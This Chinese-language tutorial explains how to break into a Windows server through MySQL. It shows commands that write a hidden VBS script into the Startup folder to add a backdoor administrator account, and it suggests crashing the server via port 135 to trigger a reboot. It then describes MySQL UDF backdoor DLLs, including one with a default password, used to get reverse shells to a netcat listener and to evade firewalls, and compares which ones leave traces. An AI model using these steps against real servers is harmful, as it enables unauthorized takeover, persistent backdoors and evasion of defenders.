1. 連接到對方MYSQL 服務器mysql -u root -h 192.168.0.1mysql.exe 這個程序在你安裝了MYSQL的的BIN目錄中
2. 讓我們來看看服務器中有些什麼數據庫mysql >show databases;MYSQL默認安裝時會有MYSQL、TEST這兩個數據庫,如果你看到有其它的數據庫那麼就是用戶自建的數據庫。
3. 讓我們進入數據庫mysql >use test;我們將會進入test數據庫中
4. 查看我們進入數據庫中有些什麼數據表mysql >show tables;默認的情況下,test中沒有任何表的存在。
以下為關鍵的部分
5. 在TEST數據庫下創建一個新的表;mysql >create table a (cmd text);好了,我們創建了一個新的表,表名為a,表中只存放一個字段,字段名為cmd,為text文本。
6. 在表中插入內容
引用
代碼如下 復制代碼mysql >insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
mysql >insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );
mysql >insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0) " );
注意雙引號和括號以及後面的"0"一定要輸入!我們將用這三條命令來建立一個VBS的腳本程序!
7. 好了,現在我們來看看表a中有些什麼mysql >select * from a;我們將會看到表中有三行數據,就是我們剛剛輸入的內容,確認你輸入的內容無誤後,我們來到下一步
8. 輸出表為一個VBS的腳本文件mysql >select * from a into outfile "c:\docume~1\alluse~1\「開始」菜單\程序\啟動\a.vbs";我們把我們表中的內容輸入到啟動組中,是一個VBS 的腳本文件!注意" "符號。
9. 看到這大家肯定知道了,就是利用MYSQL輸出一個可執行的文件而已。為什麼不用BAT呢,因為啟動運行時會有明顯的DOS窗口出來,而用VBS腳本則可以完全隱藏窗口且不會有錯誤提示!本來,應該還有一句完成腳本後自動刪除此腳本的,但是中文目錄實在無法處理,只有作罷!好了,找個工具攻擊135讓服務器重啟吧
下面看網友操作
下面,我們先說如何生成二進制文件得上傳腳本。看看這段mysql腳本代碼(網友Mix用的方法):
前兩句很熟悉把,這個就是我們以前注入的時候,繞過’的解決辦法,把代碼的16進制數聲明給一個變量,然後導入這個變量就行了。只不過這裡,因為16進制代碼是一個文件的內容,代碼太長了,所以就用了concat函數不斷把上次得代碼類加起來,這樣不斷累計到一個變量a中。後面幾句就很簡單了,我都有注釋。
腳本生成了,如何上傳?先登陸mysql服務器:
過一會兒,你監聽8080端口的nc,就會得到一個系統權限的shell了!如圖1:
這個的確不錯,通過反彈得到得shell可以傳過一些防火牆,可惜的是,它的這個函數沒有寫得很好,只能執行一次,當你第二次連接數據庫後,再次運行“select Mixconnect('你的ip','8080');”的時候,對方的mysql會當掉!報錯,然後服務停止!
所以,使用mix.dll你只有一次成功,沒有再來一次的機會!另外根據我的測試,他對Win2003的系統好像不起作用。
4.0.*-nt x$Eo~MCG f**k //看到這個後,輸入“f**k” ,他是my_udfdoor默認密碼,自己無法更改
過一會兒,你就有了系統權限的shell了,
由於他是hook recv版,所以穿牆的能力很強,我是在上一個mix.dll反彈失敗的情況下,才使用這個得,他果然不負所望!進系統後,發現它有雙網卡,天網防火牆個人版V2.73,對外僅僅開放3306端口,由此可見,my_udf.dll確實有很強的穿透防火牆得能力!但是他也有一個bug,就是再我們連接激活這個函數後(就是使用了命令“select my_udfdoor('’);”後),不管你是否連接,只要執行了:
Mysql>drop function my_udfdoor; 後,mysql也匯報錯,然後掛掉,
所以,你使用這個dll文件無法刪除你的痕跡!
最後,然我們自己寫一個自定義的dll文件。看能不能解決問題。
我們僅僅使用mysql 得udf的示例作模版即可!看他的示例:
十分簡單吧?好,我們只需要稍微改一下就可以有了自己的dll文件了:
下面是我的一個哥們Crackme是修改的:
好,我們編譯成sysudf.dll文件就可以了!我們來用他實驗一把!
看操作:
好,看看在Win2003中的一個反彈shell了,
當然,我們你也可以不反彈shell了,而去執行其他命令,只不過不論是否執行成功,都沒有回顯,所以要保證命令格式正確。對於這個dll文件,經過測試,不論何時“drop function sys_name;”,都是不會報錯的,同時也可以多次運行不同命令。至於他的缺點,就是他的穿牆能力跟Mix.dll一樣不算太強,但對於實在穿不透的牆,直接運行其他命令就是最好的選擇了